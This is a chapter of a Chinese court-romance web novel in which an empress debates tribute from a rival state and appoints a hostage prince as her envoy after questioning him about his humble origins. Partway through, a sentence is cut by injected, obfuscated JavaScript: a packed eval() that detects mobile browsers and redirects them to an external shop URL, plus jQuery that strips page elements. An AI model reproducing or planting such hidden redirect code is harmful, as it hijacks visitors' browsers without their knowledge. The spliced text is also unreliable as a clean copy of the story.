“姜国对我朝的不义之举已久,臣奏请陛下下诏姜国,增行岁贡,补我国东南之需”
早朝,又因为这件事,议了一个上午。
“那朕问薛爱卿,这岁贡,出自何人?”
“自是姜国人”
“给姜国万千黎庶增赋供养我卫朝,你是这个意思吗?”
那臣子已然跪下,“陛下乃一国之母,姜国愚民供养陛下,是恩赐,是他们修来的福气”
孟昭川冷笑一声,“好,好一句福气”
“那朕派你去姜国,商谈增赋,你敢吗?”
那臣子腿在打颤,显然是被吓到了。
“话倒是会说,让你真去又不敢,无非是想让朕来做这个恶人”孟昭川直言,那臣子磕了几个响头,朝堂四下无言。
“臣有奏”
嘹亮的女声响起,孟昭川看着一身紫衣,长立堂前的严冲,示意她走上前。
“严学士,说吧”
严冲以博学直言闻名天下,孟昭川对她颇为赏识。
严敏安看着女儿,使了个眼色,严冲不管不顾,依然踏步上前。
“臣认为,以不义之罪相谈,方能解此局。请陛下诏使臣北入姜国谈贡,以‘罪’拟定,姜国皇室既有捐资赎罪之举,何况北疆一战,姜国本就违了合约,以此相谈,并不增赋,也不兴兵”
“不过,使臣需口齿伶俐,能以此相挟,方能解此困”
“好”,孟昭川颇加赞许,“严学士倒想到朕心里了”
满朝皆是无言,孟昭川转而又加了一句,“那这使臣,派谁好呢?”
严冲也有些懵了。
本来是想了个不错的政策,但是谁来做这件事,倒是一个大问题。
孟昭川心下,倒有个不错的人。
也不难为这群爱推诿的人。孟昭川散了朝,回到了凤鸾殿。
到了傍晚,她从案卷中抽身,叫了王铮。
“叫你查玉北枫,给我看看吧”
王铮恭敬地呈上玉北枫相关的所有信息,孟昭川一一翻阅,毕了,让他烧了卷册。
“今晚,让他来凤鸾殿吧”孟昭川起身走动。
王铮被她一句话惊动,猛地抬头,“小人斗胆,陛下此意,可是要王子侍寝?”
孟昭川只回了他一个意味深长的眼神。
“小人知道了,小人这就去办”王铮似是喜出望外,召了大大小小三十个宫人,全跟着他王公公往承玉楼絮风阁赶。
玉北枫在这上京城的生活,实在是简单的紧,每日看看书,或在宫内散散步,本来是来和亲的,可是那女帝,似是对他毫无兴趣。
有时照照镜子,英挺的眉眼,微黑的皮肤,金瞳潋滟,轮廓分明,壮肌魁梧……
分明是姜国第一美男子,可到了这卫朝,好像百无一用。
“莫非这两地的审美不一致,我在这卫朝,活脱脱地是个丑人?”玉北枫想不明白。
“有旨意!”
千年不见的——王铮的声音传来。
吓了玉北枫一跳。
赶忙跪下,听他旨意。
“宣姜国王子玉北枫进凤鸾殿,朕亲见”
玉北枫猛然抬起头。
去凤鸾殿侍寝?不对,她没说是侍寝。
但是既然去了凤鸾殿,除了侍寝,还有什么别的事吗?
“陛下还真是有兴致…凤鸾殿多是批办公文之处,在这处侍寝……”玉北枫心想着,面上还是喜悦的,领了旨意。
宫女内侍,将他一顿打扮,又扶着上了春恩轿,抬去了凤鸾殿。
孟昭川才梳洗,今日本也打算在凤鸾殿内休息了,诏了玉北枫来,谈谈话便也能睡觉了。
哪知王铮等人,按照男侍的待遇,将他用春恩轿抬了过来,又给他铺好了床,只等着孟昭川上座宠幸。
“臣侍叩见陛下,陛下圣安”玉北枫跪得倒是很快,孟昭川见王铮等人急匆匆离开的模样,猜到他们会错了意。
烛光红帐下,孟昭川看着跪在地上的玉北枫,
宫人俱已散去,只留着偌大的一张床,和桌上的美酒佳肴。
她手上还拿着奏折。
从上到下,她扫视了一番玉北枫。
倒真不愧姜国第一美男的称号。
异域风情的,高挺立体的五官,配上蜜一样小麦色的皮肤,肌肉紧实,体魄强壮。
他低着头颅,不敢面看圣颜。
孟昭川起了挑逗他的念头,她从榻上起身,轻轻抬起他的下颌。
那双眼睛生得极美,琥珀一样潋滟好看,他有些迷朦情乱地看着她。
“陛下……”
“喝酒了?”孟昭川闻得一身酒味。
不,不止酒味。
似是宫里的暖情酒。
“回陛下,臣侍担心服侍不好陛下,所以才……”
他依然跪着,只是膝行几步,离她越来越近。
她站着,微微躬身,“他们说你在姜国擅舞,朕想看看”
他忙着应了,边舞边唱,身姿优美,孟昭川躺在榻上,只是安静地看着。
他似是情动,想去接近她,孟昭川只是双眼紧闭着,听他一曲的调子。
“接着唱”
似是察觉他的靠近,她又让他继续唱下去。
就这样,唱了一个多时辰,听得他的嗓子有些沙哑,孟昭川才开口让他停下。
睁眼,他依然是那样垂着头,似是等待她的话语。
“累吗?”
“侍奉陛下,是臣的荣光,不累的”
“屈辱吗?被人像宠物一样逗弄?”
她突然的一句问话,让他愣在原地。
心脏像是被戳中,他有些难受。
“不屈辱……”
孟昭川笑着,示意他坐在自己身旁的榻上。
“一生甘作戏,万死不辞羞。粉墨藏真貌,笙歌掩泪流。「1」”她突然开口,注意到,玉北枫因她的一句话,那双眼睛有些颤抖。
“知道这句诗是什么意思吗?”
玉北枫摇摇头,“臣侍愚钝,请陛下明示”
他身体因着药效,加着方才歌舞的燥热,此时已经出了汗。
“官宦人家,常把戏子与禽畜比做一体,赏玩如鸟宠,弃之如蚊蚋,你生在皇室,怎学得旁人眼里下九流的活计,还如此精湛呢?”
他有些惊恐地抬眼,神色复杂地看着隔着一方榻上矮桌的女子。
她只是温柔地看着他,等着他的回复。
没有轻蔑,也没有鄙视。
“姜国皇帝虽是你的父亲,但是你生母为名妓,皇帝把你养在宫外,你只有一个妹妹,你母亲生她时难产死了”说到一半,她侧眼看他,见他眼里有些苦涩。
他终于不再是那样讨好地看着她。
“你在姜国,虽说明面上是个王子,但是论尊贵也比不上几个哥哥,还屡遭排挤”
他有些害怕地看着她。
她怎会知道这些!
也对,据说这位卫朝女帝的暗卫遍布六国,哪还有她掌握不到的消息。
孟昭川指尖抬起他的下颌,仔细地看着他,“你生了张好脸,跟你娘学了些讨好人的把戏,可你不知道,生在帝王家,一张好看的脸是最无用的”
“甚至,是祸害”
“旁人看不起你,践踏你,把你当礼物一样献给别的国家,你也接受了,但你心里,难道甘心吗?”
他咬着唇,半晌也说不出一句话。
她为什么不脱他的衣裳?她全剥光了,也比现在将他一一剥离开要好。
她没有动他一件衣裳,却比脱了衣裳更要残忍。
她在剥开他的灵魂,审问他。
不知是不是药物,此时心跳剧烈,连着她的话,总让人觉得,更加浓烈。
他是听过她的故事的,她是个传奇般的女帝,他能来卫国侍奉她,倒是件不错的事。
他向来极恨姜国那帮人,也没什么家国的荣誉概念,不管在哪,只要身份尊贵,旁人瞧得起,他才觉得是家。
“陛下英明,臣侍这些旧事,陛下也知晓……”
“像个人一样和朕说话”孟昭川突然打断他,她言语间有些威厉,“你骑射不差,只是书读得不多,如果要说,你并不比你姜国那几个纨绔哥哥差”
他从没被人这般呵斥过。
像个人一样……
他好像很少像个人一样活着,他低微,卑贱,习惯了逢迎,很少,旁人把他当成人一样看。
“臣侍哥哥的母妃都是尊贵人,只有我娘,是姜国出名的歌伎……”
“朕的母亲也出身寒微,朕如今坐这个位置,那些母亲家里尊贵的,又有几个人能做到?”孟昭川有些恨铁不成钢地说着,“况且,人之志在乎自己,你若颓唐无志,不要怪生养你的母亲”
他被戳到心脏,此时才意识到,自己在她眼前,简直像清水一样透彻。
“陛下责厉得对,可臣侍已然是卑贱之身,还能做些什么呢?”他又认栽一样地说着。
“说了半天,还是这般看轻自己”孟昭川笑他压根说不动,“朕给你一个当人的机会,你若是抓住了,就试试,抓不住,那说明你既无这
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443162|195759||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个志向,也无这个福气”
玉北枫抬眼,对上她那温柔的眼睛。
他在她身前跪下,“臣侍恭听陛下指示”
“朕封你宣和大臣,你北上,去姜国谈岁贡赎罪一事”
“记得,朕只要姜国皇帝的内府钱财,多的一文不要”
玉北枫在她眼前磕头,他从未想过,这样天大的饼,要砸在自己身上。
“臣侍无才无德,不配担此大任,臣侍恳请陛下收回成命!”
“君无戏言,朕即出了口,哪有收回的道理”
玉北枫从地上抬眼,她慈悲地看着他,眼睛是那样温柔。
因着药物的作用,他此刻周遭的所有感受,都浓烈万分。
她的眼睛,温柔地传遍四肢百骸,让他温暖无比。
“你若是有做一番事业的心,朕有暗卫护你的安全,给你荣耀官衔,你只放心办好实事,你若是无志无心,那就在承玉楼,做一辈子的笼中雀,你自己想”
“臣侍领旨!”
孟昭川听到铿锵的几声,连带着磕头的震地之声,让她有些困顿的眼睛此时清醒许多。
玉北枫……论武功骑射和机变逢源,确实是个人才。起码在卫朝,有这两点的人物,少之又少。
他的缺点,无非就是学识欠佳,无权无势。
但就这一点,对于一个帝王来说,简直是天降的一把好刀。
学识欠佳,所以自己的想法会少,故而听话。
无权无势,故而只听她所令,凡有异心,他的命,无在乎她一人的口令。
他在她面前,几乎是白纸一张,对她,也是言听计从,如今谢辞君受伤,前朝诸臣又多庸碌之辈,或是迂腐狂妄的书生,有这样一把好刀,捏在自己手上,孟昭川觉得很是不错。
“好好干”
她笑着,让人把他带回去。
“陛下留臣侍奉一日也行,就给个机会,让臣侍行侍奉君主之责吧!”他还是有些不甘心。不单是自己此时的心跳,因着她的一番鼓舞而猛烈。
人人说,男侍最为卑贱,男帝的宠妃,好歹能怀孕,延绵龙嗣,男侍,则纯属牲畜器具一样,并无多用。
但玉北枫而言,男侍的日子却比在姜国好少很多。
女帝对他很好,先前姜令在时,二人的礼遇相当,她对姜令有多少赏赐恩待,对他也一样。
在这里,他才真正像个人样,如今得到她的赏识,他好像一夜之间,得到了世间的一切。
她是一位明主,也是一位贤君,他们说,如若得到贤君的赏识,死而无憾。
他觉得,自己此生,终于做了一回人。
“你替朕好好干事,此番北议,若能顺道敲打震慑一番姜国,这才是报答”孟昭川摆摆手,躺在了床上。
留下在榻上有些懵的玉北枫。
“你若是累了,不想回去,就在那榻上睡一个晚上吧”孟昭川躺上床,见玉北枫依然站在那。
“有话直说”
“臣侍直言,陛下休怪”
“你说,朕不怪你”
“旁人言及陛下,皆是凤姿仙容,慧极过人,独继位已有五年,后宫空虚,前朝女帝男宠颇多,可至陛下,却无一人以进,臣侍也是因得和亲才能见陛下凤颜,臣侍斗胆,陛下难道,薄于男女之情吗……”
他知道自己大逆不道似的,又跪下来,不敢看她。
薄于男女之情吗……
孟昭川自问,可能确实。
除了姜令,仿佛身边,周遭的男子,于她而言,无外乎臣子、棋子而已。
男女欢爱,自古有之,可她孟昭川实在薄情。
到了这个位置,什么都得的太轻易了,独独一份人世的真心,难得,难得……
她和姜令之间,哪怕是血淋淋的爱恨,也是那样纯粹,姜令是人世里,第一个给她爱的,正因为他最初,给她的爱太过纯粹,以至于她此生,便也只会被这样的爱所动容。
至于男女之间的欢爱春宵,太过简单了。简单到,完全不足以容纳她和姜令之间,灵魂沉甸的厚重。
“臣侍的错,陛下和皇夫殿下恩爱非常,臣侍只是听得几句……”
“怎会这么问?”
“臣侍如今是陛下的人,臣侍斗胆想问,倘若陛下薄于男女之情,臣侍此生,便只待陛下为君,臣侍为臣,再不会逾矩”他言语真诚,孟昭川也明了他的意思。
“睡觉吧”
她闭上眼睛,再不理他的言语。
半晌,她才回了他几个字,“待朕以君臣之道即可”
“臣侍遵旨”